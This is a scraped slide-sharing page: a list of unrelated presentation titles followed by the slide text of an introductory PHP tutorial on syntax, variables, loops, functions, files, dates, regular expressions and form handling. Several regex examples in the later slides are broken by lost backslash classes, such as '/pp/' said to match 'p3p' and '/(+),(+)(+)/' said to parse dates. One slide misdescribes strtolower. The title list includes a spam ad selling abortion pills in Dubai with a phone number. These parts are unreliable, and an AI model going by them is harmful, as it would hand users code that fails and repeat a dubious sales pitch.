Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 

PHP Powerpoint -- Teach PHP with this

  • 2. What is it? PHP is a scripting language commonly used on web servers. Stands for “PHP: Hypertext Preprocessor” Open source Embedded code Comparable with ASP Multiple operating systems/web servers
  • 3. The PHP Resource www.php.net
  • 4. What can it do? Dynamic generation of web-page content Database interaction Processing of user supplied data Email File handling Text processing Network interaction And more…
  • 5. Fundamentals PHP is embedded within xhtml pages within the tags: <?php … ?> The short version of these tags can also be used: <? … ?> Each line of PHP is terminated, like MySQL, with a semi-colon.
  • 6. Hello World! <html> <head> <title>PHP Test</title> </head> <body> <?phpecho ‘<p>Hello World!</p>’;?> </body> </html>
  • 7. Preparing to code with PHP
  • 8. Literals.. All strings must be enclosed in single of double quotes: ‘Hello’ or “Hello”. Numbers are not in enclosed in quotes: 1 or 45 or 34.564 Booleans (true/flase) can be written directly as true or false.
  • 9. Comments // This is a comment # This is also a comment /* This is a commentthat is spread overmultiple lines */ Do not nest multi-line comments // recommended over #
  • 10. Comments <?php // this is a comment echo ‘Hello World!’; /* another multi-line comment */ ?>
  • 11. Displaying Data There are two language constructs available to display data: print() and echo(). They can be used with or without brackets. Note that the data ‘displayed’ by PHP is actually parsed by your browser as HTML. View source to see actual output.
  • 12. Displaying data <?php echo ‘Hello World!<br />’; echo(‘Hello World!<br />’); print ‘Hello World!<br />’; print(‘Hello World!<br />’); ?>
  • 13. Escaping Characters Some characters are considered ‘special’ Escape these with a backslash br />Special characters will be flagged when they arise, for example a double or single quote belong in this group…
  • 14. Escaping Characters <?php // Claire O’Reilly said “Hello”. echo ‘Claire OReilly ’; echo “said Hello.”; ?>
  • 15. Variables: What are they? When we work in PHP, we often need a labelled place to store a value (be it a string, number, whatever) so we can use it in multiple places in our script. These labelled ‘places’ are called VARIABLES
  • 16. Variables: Naming $ followed by variable name Case sensitive $variable differs from $Variable Stick to lower-case to be sure! Name must started with a letter or an underscore Followed by any number of letters, numbers and underscores
  • 17. Variables: example <?php $name = ‘Phil’; $age = 23; echo $name; echo ’ is ‘; echo $age; // Phil is 23 ?>
  • 18. Constants Constants (unchangeable variables) can also be defined. Each constant is given a name (note no preceding dollar is applied here). By convention, constant names are usually in UPPERCASE.
  • 19. Constants <?php define(‘NAME’,‘Phil’); define(‘AGE’,23); echo NAME; echo ’ is ‘; echo AGE; // Phil is 23 ?>
  • 20. “ or ‘ ? There is a difference between strings written in single and double quotes. In a double-quoted string any variable names are expanded to their values. In a single-quoted string, no variable expansion takes place.
  • 21. “ or ‘ ? <?php $name = ‘Phil’; $age = 23; echo “$name is $age”; // Phil is 23 ?>
  • 22. “ or ‘ ? <?php $name = ‘Phil’; $age = 23; echo ‘$name is $age’; // $name is $age ?>
  • 23. Review We’ve started PHP.. Escaping XHTML Comments Basic Syntax Variables Constants
  • 26. Reminder PHP is embedded within xhtml pages within the tags: <?php … ?> The short version of these tags can also be used: <? … ?> Each line of PHP is terminated, like MySQL, with a semi-colon.
  • 27. Reminder Variables are automatically initialised when you start to use them. e.g. <?php $name = ‘Rob’; echo $name; ?>
  • 28. Expressions Using variables within expressions to do something is what PHP is all about. <?php $name = ‘Rob’; echo $name; ?> Expression Operator
  • 29.
  • 32. String Operators Use a dot to concatenate two strings: e.g. $firstname = ‘Rob’; $surname = ‘Tuley’; // displays ‘Rob Tuley’ echo $firstname.’ ‘.$surname;
  • 35. Combining Operators Note that you can combine operators, for example use =, + and / in one expression: $a = 4; $b = 2; $c = $a + $b + ($a/$b); // $c has value 4+2+(4/2) = 8 Brackets help group operators.
  • 37. Comparisons Comparison expressions return a value of TRUE (or ‘1’) or FALSE (or ‘0’). e.g. $a = 10; $b = 13; // result is true (‘1’) echo $a < $b;
  • 40. Finally, a tricky one! A single ? is the ternary operator. (expr) ? if_expr_true : if_expr_false; A test expression evaluates to TRUE or FALSE. TRUE gives first result (before colon) FALSE gives second result (after colon)
  • 41. Ternary Operator example <?php $a = 10; $b = 13; echo $a<$b ? ‘a smaller’:‘b smaller’; // string ‘a smaller’ is echoed // to the browser.. ?>
  • 42. Groups of variables So far, we have stored ONE piece of data in each variable. It is also possible to store multiple pieces of data in ONE variable by using an array. Each piece of data in an array has a key..
  • 43. An array Normal Variable, no key: $name = ‘Rob’; Array Variable, multiple pieces with ‘keys’: $name[0] = ‘Rob’; $name[1] = ‘Si’; $name[2] = ‘Sarah’; … The ‘key’
  • 44. Array keys Array keys can be strings as well as numbers.. $surname[‘rob’] = ‘Tuley’; $surname[‘si’] = ‘Lewis’; Notice the way that the key is specified, in square brackets following the variable name.
  • 45. Working with arrays.. Create Array (automatic keys): $letters = array('a','b','c','d'); The array keys are automatically assigned by PHP as 0, 1, 2, 3 i.e. $letters[1] has value‘b’ Create Array (explicit keys): $letters = array(10=>’a’,13=>’b’); i.e. $letters[13] has value‘b’
  • 46. Working with arrays… Create array (component by component): $letters[10] = ‘a’; $letters[13] = ‘b’; Access array component: echo $letters[10]; // displays a echo $letters[10].$letters[13]; // displays ab
  • 47. Working with arrays… Note that trying to echo an entire array will not display the data. To print an entire array to screen (for debug, for example) use the function print_r instead. echo $letters; print_r($letters);
  • 48. So.. We know we can: Store things in named variables. Use expressions to operate on the contents of these variables. Can compare variables.. How do we actually include logic in the code such as ‘if this is bigger than that, do this’?
  • 49. Control Structures if, elseif, else while, do … while for, foreach switch break, continue, return require, include, require_once, include_once
  • 50. If … To do something depending on a comparison, use an if statement. if (comparison) { expressions; // do if TRUE } NB: Notice the curly brackets – these are important!
  • 51. If example <?php $a = 10; $b = 13; if ($a<$b) { echo‘a is smaller than b’; } ?>
  • 52. Extending IF statements It is possible to add extra optional clauses to if statements.. if (comparison) { expressions; // do if TRUE } else { expressions; // do otherwise }
  • 53. Extending If statements if (comparison1) { expressions; } elseif (comparison2) { expressions; } else { expressions; }
  • 54. An example.. $a = 10; $b = 13; if ($a<$b) { echo‘a is smaller than b’; } elseif ($a==$b) { echo‘a is equal to b’; } else { echo‘a is bigger than b’; }
  • 55. While loops Might want to do something repeatedly while a comparison is true.. while (comparison) {expressions; }
  • 56. Example Lets count to 10! Displays 1,2,3,4,5,..,10: $i = 1; while ($i <= 10) {   echo $i++; }
  • 57. Do .. While An alternative... $i = 1; do {   echo $i++; } while ($i <= 10);
  • 58. For loop Sometimes we want to loop around the same bit of code a number of times.. Use a for loop. for (expr1; expr2; expr3) { statements; } expr1 evaluated/executed initially expr2 evaluated at beginning of each iteration (Continues if TRUE) expr3 evaluated/executed at end of each iteration
  • 59. For loop example To count from 1 to 10: for ($i=1; $i<=10; $i++) { echo $i; } Continue if true initialise Execute at end of loop
  • 60. Foreach loop A foreach loop is designed for arrays. Often you want to loop through each item in an array in turn.. $letters = array(‘a’,’b’,’c’); foreach ($letters as $value) {   echo $value; } // outputs a,b,c in turn
  • 61. Foreach.. With keys Sometimes we want to use the array ‘key’ value too: $letters = array(‘a’,’b’,’c’); foreach ($letters as $key => $value) {   echo“array $key to $value”; }
  • 62.
  • 63. Case corresponding to result is executed
  • 65. break
  • 66.
  • 67. break, continue, return break Ends execution of current for, foreach, do … while, while or switch structure Option: Number of nested structures to break out of continue Skip rest of current loop Option: Number of nested loops to skip return Ends execution of current function/statement/script
  • 68. Indentation.. Code readability IS important – notice how all the code inside a loop/control structure is indented. Once you start writing nested control loops, indentation is the only way to keep track of your code!
  • 69. require, include require('filename.ext') Includes and evaluates the specified file Error is fatal (will halt processing) include('filename.ext') Includes and evaluates the specified file Error is a warning (processing continues) require_once/ include_once If already included won’t be included again
  • 70. Code Re-use Often you will want to write a piece of code and re-use it several times (maybe within the same script, or maybe between different scripts). Functions are a very nice way to encapsulate such pieces of code..
  • 71. Eh..? What? You have already used functions.. echo(‘text to display’); Function NAME Function ARGUMENT
  • 72. What is a function? A function takes some arguments (inputs) and does something with them (echo, for example, outputs the text input to the user). As well as the inbuilt PHP functions, we can define our own functions..
  • 73. Definition vs. Calling There are two distinct aspects to functions: Definition: Before using a function, that function must be defined – i.e. what inputs does it need, and what does it do with them? Calling: When you call a function, you actually execute the code in the function.
  • 74. Function Definition A function accepts any number of input arguments, and returns a SINGLE value. functionmyfunction($arg1,$arg2,…,$argN) { statements; return $return_value; }
  • 75. Example Function to join first and last names together with a space.. function make_name($first,$last) { $fullname = $first.’ ‘.$last; return $fullname; }
  • 76. Calling functions.. Can be done anywhere.. myfunction($arg1,$arg2,…,$argN) or $answer = myfunction($arg1,$arg2,…,$argN) e.g. echo make_name(‘Rob’,’Tuley’); // echoes ‘Rob Tuley’
  • 77. Functions: Return Values Use return() Causes execution of function to cease Control returns to calling script To return multiple values Return an array If no value returned NULL
  • 78. ‘Scope’ A function executes within its own little protected bubble, or local scope. What does this mean? Its means that the function can’t ‘see’ any of the variables you have defined apart from those passed in as arguments.. Each new function call starts a clean slate in terms of internal function variables.
  • 79. In other words.. Variables within a function Are local to that function Disappear when function execution ends Variables outside a function Are not available within the function Unless set as global Remembering variables Not stored between function calls Unless set as static
  • 80. Global variables.. To access a variable outside the ‘local’ scope of a function, declare it as a global: function add5toa() { global $a; $a = $a + 5; } $a = 9; add5toa(); echo $a; // 14
  • 81. Static Variables Local function variable values are not saved between function calls unless they are declared as static: function counter() { static $num = 0; return ++$num; } echo counter(); // 1 echo counter(); // 2 echo counter(); // 3
  • 82. Default Arguments Can specify a default value in the function definition which is used only if no value is passed to the function when called.. Defaults must be specified last in the list function myfunction($arg1,$arg2=‘blah’)… function myfunction($arg1=‘blah’,$arg2)…
  • 83. Passing References Pass a reference to a variable Not the actual variable Why? Enables a function to modify its arguments How? Use an ampersand in front of the variable &$variable
  • 84. Review More PHP! Expressions Operators Control Structures Functions
  • 86. Files and PHP File Handling Data Storage Though slower than a database Manipulating uploaded files From forms Creating Files for download
  • 87. Open/Close a File A file is opened with fopen() as a “stream”, and PHP returns a ‘handle’ to the file that can be used to reference the open file in other functions. Each file is opened in a particular mode. A file is closed with fclose() or when your script ends.
  • 89. File Open/Close Example <?php // open file to read $toread = fopen(‘some/file.ext’,’r’); // open (possibly new) file to write $towrite = fopen(‘some/file.ext’,’w’); // close both files fclose($toread); fclose($towrite); ?>
  • 90. Now what..? If you open a file to read, you can use more in-built PHP functions to read data.. If you open the file to write, you can use more in-built PHP functions to write..
  • 91. Reading Data There are two main functions to read data: fgets($handle,$bytes) Reads up to $bytes of data, stops at newline or end of file (EOF) fread($handle,$bytes) Reads up to $bytes of data, stops at EOF.
  • 92. Reading Data We need to be aware of the End Of File (EOF) point.. feof($handle) Whether the file has reached the EOF point. Returns true if have reached EOF.
  • 93. Data Reading Example $handle = fopen('people.txt', 'r'); while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; } fclose($handle);
  • 94. Data Reading Example $handle = fopen('people.txt', 'r'); while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; } fclose($handle); $handle = fopen('people.txt', 'r'); Open the file and assign the resource to $handle
  • 95. Data Reading Example $handle = fopen('people.txt', 'r'); while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; } fclose($handle); while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; } While NOT at the end of the file, pointed to by $handle, get and echo the data line by line
  • 96. Data Reading Example $handle = fopen('people.txt', 'r'); while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; } fclose($handle); Close the file fclose($handle);
  • 97. File Open shortcuts.. There are two ‘shortcut’ functions that don’t require a file to be opened: $lines = file($filename) Reads entire file into an array with each line a separate entry in the array. $str = file_get_contents($filename) Reads entire file into a single string.
  • 98. Writing Data To write data to a file use: fwrite($handle,$data) Write $data to the file.
  • 99. Data Writing Example $handle = fopen('people.txt', 'a'); fwrite($handle, “Fred:Male”); fclose($handle);
  • 100. Data Writing Example $handle = fopen('people.txt', 'a'); fwrite($handle, 'Fred:Male'); fclose($handle); Open file to append data (mode 'a') $handle = fopen('people.txt', 'a'); fwrite($handle, “Fred:Male”); Write new data (with line break after previous data)
  • 101. Other File Operations Delete file unlink('filename'); Rename (file or directory) rename('old name', 'new name'); Copy file copy('source', 'destination'); And many, many more! www.php.net/manual/en/ref.filesystem.php
  • 102. Dealing With Directories Open a directory $handle = opendir('dirname'); $handle 'points' to the directory Read contents of directory readdir($handle) Returns name of next file in directory Files are sorted as on filesystem Close a directory closedir($handle) Closes directory 'stream'
  • 103. Directory Example $handle = opendir('./'); while(false !== ($file=readdir($handle))) { echo"$file<br />"; } closedir($handle);
  • 104. Directory Example $handle = opendir('./'); while(false !== ($file=readdir($handle))) { echo"$file<br />"; } closedir($handle); $handle = opendir('./'); Open current directory
  • 105. Directory Example $handle = opendir('./'); while(false !== ($file=readdir($handle))) { echo"$file<br />"; } closedir($handle); while(false !== ($file=readdir($handle))) { echo"$file<br />"; } Whilst readdir() returns a name, loop through directory contents, echoing results
  • 106. Directory Example $handle = opendir('./'); while(false !== ($file=readdir($handle))) { echo"$file<br />"; } closedir($handle); closedir($handle); Close the directory stream
  • 107. Other Directory Operations Get current directory getcwd() Change Directory chdir('dirname'); Create directory mkdir('dirname'); Delete directory (MUST be empty) rmdir('dirname'); And more! www.php.net/manual/en/ref.dir.php
  • 108. Review Can open and close files. Can read a file line by line or all at one go. Can write to files. Can open and cycle through the files in a directory.
  • 110. Unix Epoch..? The easiest way to handle dates in PHP is using UNIX timestamps. A UNIX timestamp is the number of seconds since the UNIX Epoch. The Epoch is 1st Jan 1970 00:00 GMT.
  • 111. Get current time Use the time() function to get current or relative time. <?php $now = time(); $nextWeek = time() + (7 * 24 * 60 * 60);    // 7 days; 24 hours; 60 mins; 60secs ?>
  • 112. Display a time.. To display a time use the date() function along with a format string. <?php $nextWeek = time() + (7*24*60*60); echo‘Next week: ‘; echo date(‘d-m-Y’,$nextWeek).’<br />’; ?> Format strings: http://php.net/manual/en/function.date.php
  • 113. String to timestamp To convert a string to date, use strtotime() <?php echo strtotime("now"); echo strtotime("10 September 2000"); echo strtotime("+1 day"); echo strtotime("+1 week"); echo strtotime("next Thursday"); echo strtotime("last Monday"); ?>
  • 114. String to timestamp Note that strtotime() assume a US date format on string such as mm/dd/yyyy, so some modifications may be required.
  • 115. What about dates before 1970? Negative timestamps are not consistently supported in PHP. Therefore we cannot use timestamps when using dates that might be before 1970.
  • 116. The full information.. http://php.net/manual/en/ref.datetime.php We have looked at a sub-selection of this information. If you want to do something with dates.. This is the place to start looking.
  • 117. Review Know what an integer UNIX date is. Can manipulate dates in PHP: creating, displaying, parsing from string data.
  • 119. What..? Often in PHP we have to get data from files, or maybe through forms from a user. Before acting on the data, we: Need to put it in the format we require. Check that the data is actually valid.
  • 120. What..? To achieve this, we need to learn about PHP functions that check values, and manipulate data. Input PHP functions. Regular Expressions (Regex).
  • 121. PHP Functions There are a lot of useful PHP functions to manipulate data. We’re not going to look at them all – we’re not even going to look at most of them… http://php.net/manual/en/ref.strings.php http://php.net/manual/en/ref.ctype.php http://php.net/manual/en/ref.datetime.php
  • 122. Useful Functions: splitting Often we need to split data into multiple pieces based on a particular character. Use explode(). // expand user supplied date.. $input = ‘1/12/2007’; $bits = explode(‘/’,$input); // array(0=>1,1=>12,2=>2007)
  • 123. Useful functions: trimming Removing excess whitespace.. Use trim() // a user supplied name.. $input = ‘ Rob ’; $name = trim($input); // ‘Rob’
  • 124. Useful functions: string replace To replace all occurrences of a string in another string use str_replace() // allow user to user a number of date separators $input = ’01.12-2007’; $clean = str_replace(array(‘.’,’-’), ‘/’,$input); // 01/12/2007
  • 125. Useful functions: cAsE To make a string all uppercase use strtoupper(). To make a string all uppercase use strtolower(). To make just the first letter upper case use ucfirst(). To make the first letter of each word in a string uppercase use ucwords().
  • 126. Useful functions: html sanitise To make a string “safe” to output as html use htmlentities() // user entered comment $input = ’The <a> tag & ..’; $clean = htmlentities($input); // ‘The &lt;a&gt; tag &amp; ..’
  • 127. More complicated checks.. It is usually possible to use a combination of various built-in PHP functions to achieve what you want. However, sometimes things get more complicated. When this happens, we turn to Regular Expressions.
  • 128. Regular Expressions Regular expressions are a concise (but obtuse!) way of pattern matching within a string. There are different flavours of regular expression (PERL & POSIX), but we will just look at the faster and more powerful version (PERL).
  • 129. Some definitions ‘rob@example.com’ '/^[a-z_-]+@([a-z-]+)+[a-z]{2,6}$/i‘ preg_match(), preg_replace() Actual data that we are going to work upon (e.g. an email address string) Definition of the string pattern (the ‘Regular Expression’). PHP functions to do something with data and regular expression.
  • 130. Regular Expressions '/^[a-z_-]+@([a-z-]+)+[a-z]{2,6}$/i‘ Are complicated! They are a definition of a pattern. Usually used to validate or extract data from a string.
  • 131. Regex: Delimiters The regex definition is always bracketed by delimiters, usually a ‘/’: $regex = ’/php/’; Matches: ‘php’, ’I love php’ Doesn’t match: ‘PHP’ ‘I love ph’
  • 132. Regex: First impressions Note how the regular expression matches anywhere in the string: the whole regular expression has to be matched, but the whole data string doesn’t have to be used. It is a case-sensitive comparison.
  • 133. Regex: Case insensitive Extra switches can be added after the last delimiter. The only switch we will use is the ‘i’ switch to make comparison case insensitive: $regex = ’/php/i’; Matches: ‘php’, ’I love pHp’, ‘PHP’ Doesn’t match: ‘I love ph’
  • 134. Regex: Character groups A regex is matched character-by-character. You can specify multiple options for a character using square brackets: $regex = ’/p[hu]p/’; Matches: ‘php’, ’pup’ Doesn’t match: ‘phup’, ‘pop’, ‘PHP’
  • 135. Regex: Character groups You can also specify a digit or alphabetical range in square brackets: $regex = ’/p[a-z1-3]p/’; Matches: ‘php’, ’pup’, ‘pap’, ‘pop’, ‘p3p’ Doesn’t match: ‘PHP’, ‘p5p’
  • 136. Regex: Predefined Classes There are a number of pre-defined classes available:
  • 137. Regex: Predefined classes $regex = ’/pp/’; Matches: ‘p3p’, ’p7p’, Doesn’t match: ‘p10p’, ‘P7p’ $regex = ’/pp/’; Matches: ‘p3p’, ’pHp’, ’pop’ Doesn’t match: ‘phhp’
  • 138. Regex: the Dot The special dot character matches anything apart from line breaks: $regex = ’/p.p/’; Matches: ‘php’, ’p&p’, ‘p(p’, ‘p3p’, ‘p$p’ Doesn’t match: ‘PHP’, ‘phhp’
  • 139. Regex: Repetition There are a number of special characters that indicate the character group may be repeated:
  • 140. Regex: Repetition $regex = ’/ph?p/’; Matches: ‘pp’, ’php’, Doesn’t match: ‘phhp’, ‘pap’ $regex = ’/ph*p/’; Matches: ‘pp’, ’php’, ’phhhhp’ Doesn’t match: ‘pop’, ’phhohp’
  • 141. Regex: Repetition $regex = ’/ph+p/’; Matches: ‘php’, ’phhhhp’, Doesn’t match: ‘pp’, ‘phyhp’ $regex = ’/ph{1,3}p/’; Matches: ‘php’, ’phhhp’ Doesn’t match: ‘pp’, ’phhhhp’
  • 142. Regex: Bracketed repetition The repetition operators can be used on bracketed expressions to repeat multiple characters: $regex = ’/(php)+/’; Matches: ‘php’, ’phpphp’, ‘phpphpphp’ Doesn’t match: ‘ph’, ‘popph’ Will it match ‘phpph’?
  • 143. Regex: Anchors So far, we have matched anywhere within a string (either the entire data string or part of it). We can change this behaviour by using anchors:
  • 144. Regex: Anchors With NO anchors: $regex = ’/php/’; Matches: ‘php’, ’php is great’, ‘in php we..’ Doesn’t match: ‘pop’
  • 145. Regex: Anchors With start and end anchors: $regex = ’/^php$/’; Matches: ‘php’, Doesn’t match: ’php is great’, ‘in php we..’, ‘pop’
  • 146. Regex: Escape special characters We have seen that characters such as ?,.,$,*,+ have a special meaning. If we want to actually use them as a literal, we need to escape them with a backslash. $regex = ’/pp/’; Matches: ‘p.p’ Doesn’t match: ‘php’, ‘p1p’
  • 147. So.. An example Lets define a regex that matches an email: $emailRegex ='/^[a-z_-]+@([a-z-]+)+[a-z]{2,6}$/i‘; Matches: ‘rob@example.com’, ‘rob@subdomain.example.com’ ‘a_n_other@example.co.uk’ Doesn’t match: ‘rob@exam@ple.com’ ‘not.an.email.com’
  • 148. So.. An example /^ [a-z_-]+ @ ([a-z-]+)+ [a-z]{2,6} $/i Starting delimiter, and start-of-string anchor User name – allow any length of letters, numbers, dots, underscore or dashes The @ separator Domain (letters, digits or dash only). Repetition to include subdomains. com,uk,info,etc. End anchor, end delimiter, case insensitive
  • 149. Phew.. So we now know how to define regular expressions. Further explanation can be found at: http://www.regular-expressions.info/ We still need to know how to use them!
  • 150. Boolean Matching We can use the function preg_match() to test whether a string matches or not. // match an email $input = ‘rob@example.com’; if (preg_match($emailRegex,$input) { echo‘Is a valid email’; } else { echo‘NOT a valid email’; }
  • 151. Pattern replacement We can use the function preg_replace() to replace any matching strings. // strip any multiple spaces $input = ‘Some comment string’; $regex = ‘/+/’; $clean = preg_replace($regex,’ ‘,$input); // ‘Some comment string’
  • 152. Sub-references We’re not quite finished: we need to master the concept of sub-references. Any bracketed expression in a regular expression is regarded as a sub-reference. You use it to extract the bits of data you want from a regular expression. Easiest with an example..
  • 153. Sub-reference example: I start with a date string in a particular format: $str = ’10, April 2007’; The regex that matches this is: $regex = ‘/+,++/’; If I want to extract the bits of data I bracket the relevant bits: $regex = ‘/(+),(+)(+)/’;
  • 154. Extracting data.. I then pass in an extra argument to the function preg_match(): $str = ’The date is 10, April 2007’; $regex = ‘/(+),(+)(+)/’; preg_match($regex,$str,$matches); // $matches[0] = ‘10, April 2007’ // $matches[1] = 10 // $matches[2] = April // $matches[3] = 2007
  • 155. Back-references This technique can also be used to reference the original text during replacements with $1,$2,etc. in the replacement string: $str = ’The date is 10, April 2007’; $regex = ‘/(+),(+)(+)/’; $str = preg_replace($regex, ’$1-$2-$3’, $str); // $str = ’The date is 10-April-2007’
  • 156. Phew Again! We now know how to define regular expressions. We now also know how to use them: matching, replacement, data extraction.
  • 158. Forms: how they work We need to know.. How forms work. How to write forms in XHTML. How to access the data in PHP.
  • 159. How forms work User requests a particular URL XHTML Page supplied with Form User fills in form and submits. Another URL is requested and the Form data is sent to this page either in URL or as a separate piece of data. User Web Server XHTML Response
  • 160. XHTML Form The form is enclosed in form tags.. <form action=“path/to/submit/page” method=“get”> <!–- form contents --> </form>
  • 161. Form tags action=“…” is the page that the form should submit its data to. method=“…” is the method by which the form data is submitted. The option are either get or post. If the method is get the data is passed in the url string, if the method is post it is passed as a separate file.
  • 162. Form fields: text input Use a text input within form tags for a single line freeform text input. <label for=“fn">First Name</label> <input type="text" name="firstname" id=“fn" size="20"/>
  • 163. Form tags name=“…” is the name of the field. You will use this name in PHP to access the data. id=“…” is label reference string – this should be the same as that referenced in the <label> tag. size=“…” is the length of the displayed text box (number of characters).
  • 164. Form fields: password input Use a starred text input for passwords. <label for=“pw">Password</label> <input type=“password" name=“passwd" id=“pw" size="20"/>
  • 165. Form fields: text input If you need more than 1 line to enter data, use a textarea. <label for="desc">Description</label> <textarea name=“description” id=“desc“ rows=“10” cols=“30”> Default text goes here… </textarea>
  • 166. Form fields: text area name=“…” is the name of the field. You will use this name in PHP to access the data. id=“…” is label reference string – this should be the same as that referenced in the <label> tag. rows=“…” cols=“..” is the size of the displayed text box.
  • 167. Form fields: drop down <label for="tn">Where do you live?</label> <select name="town" id="tn"> <option value="swindon">Swindon</option> <option value="london” selected="selected">London</option> <option value=“bristol">Bristol</option> </select>
  • 168. Form fields: drop down name=“…” is the name of the field. id=“…” is label reference string. <option value=“…” is the actual data sent back to PHP if the option is selected. <option>…</option> is the value displayed to the user. selected=“selected” this option is selected by default.
  • 169. Form fields: radio buttons <input type="radio" name="age" id="u30“ checked=“checked” value="Under30" /> <label for="u30">Under 30</label> <br /> <input type="radio" name="age" id="thirty40" value="30to40" /> <label for="thirty40">30 to 40</label>
  • 170. Form fields: radio buttons name=“…” is the name of the field. All radio boxes with the same name are grouped with only one selectable at a time. id=“…” is label reference string. value=“…” is the actual data sent back to PHP if the option is selected. checked=“checked” this option is selected by default.
  • 171. Form fields: check boxes What colours do you like?<br /> <input type="checkbox" name="colour[]" id="r" checked="checked" value="red" /> <label for="r">Red</label> <br /> <input type="checkbox" name="colour[]" id="b" value="blue" /> <label for="b">Blue</label>
  • 172. Form fields: check boxes name=“…” is the name of the field. Multiple checkboxes can be selected, so if the button are given the same name, they will overwrite previous values. The exception is if the name is given with square brackets – an array is returned to PHP. id=“…” is label reference string. value=“…” is the actual data sent back to PHP if the option is selected. checked=“checked” this option is selected by default.
  • 173. Hidden Fields <input type="hidden" name="hidden_value" value="My Hidden Value" /> name=“…” is the name of the field. value=“…” is the actual data sent back to PHP.
  • 174. Submit button.. A submit button for the form can be created with the code: <input type="submit" name="submit" value="Submit" />
  • 175. Fieldset In XHTML 1.0, all inputs must be grouped within the form into fieldsets. These represent logical divisions through larger forms. For short forms, all inputs are contained in a single fieldset. <form> <fieldset> <input … /> <input … /> </fieldset> <fieldset> <input … /> <input … /> </fieldset> </form>
  • 176. In PHP… The form variables are available to PHP in the page to which they have been submitted. The variables are available in two superglobal arrays created by PHP called $_POST and $_GET.
  • 177. Access data Access submitted data in the relevant array for the submission type, using the input name as a key. <form action=“path/to/submit/page” method=“get”> <input type=“text” name=“email”> </form> $email = $_GET[‘email’];
  • 178. A warning.. NEVER TRUST USER INPUT Always check what has been input. Validation can be undertaken using Regular expressions or in-built PHP functions.
  • 179. A useful tip.. I find that storing the validated data in a different array to the original useful. I often name this array ‘clean’ or something similarly intuitive. I then *only* work with the data in $clean, and never refer to $_POST/$_GET again.
  • 180. Example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; }
